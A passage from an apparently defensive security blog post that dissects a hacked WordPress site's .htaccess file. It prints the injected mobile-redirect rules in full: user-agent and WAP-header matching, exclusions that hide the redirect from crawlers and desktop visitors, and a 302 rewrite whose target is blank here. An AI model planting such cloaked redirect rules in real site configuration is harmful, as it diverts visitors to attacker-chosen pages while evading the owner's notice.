Next up is the code for detecting that requests is coming from mobile device, which you can see the code is fairly extensive. It starts with some obvious targets, looking for requests where the user agent given includes a mention of popular mobile device software and hardware like Android, BlackBerry, and iPhone. It then checks for a fairly long list of other devices, including what looks to be references for more obscure devices like the Bird D736 and Spice S-940.

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser||mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

Next the code stops the redirection from occurring if the requests are identified as coming from a variety of other sources, including search engine crawlers and PlayStation devices.

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

Finally the code that causes the redirection, in this case the website is redirected to when accessed from mobile devices.

RewriteRule ^(.*)$ [L,R=302]

Detecting Server Side Redirects

For server side redirects we have put together a small tool that shows if a given web page redirects when accessed by a mobile device, which should make it easier to troubleshoot that type of situation.

The Cause of The Hack

Since a mobile redirection can be done in a variety ways, there isn’t one thing that would allow this type of hack to occur. With the above code added to the .htaccess we determined it had been caused by a security vulnerability in an outdated WordPress plugin (a good reminder to make sure you keep all of the software on your website up to date). If you are dealing with a hack with this type of redirection it is important to review the logs and other evidence available to try to determine how the hack occurred, so you can be sure the vulnerability has been fixed and the website doesn’t get re-hacked. You should also make sure you are taking the other important security precautions going forward.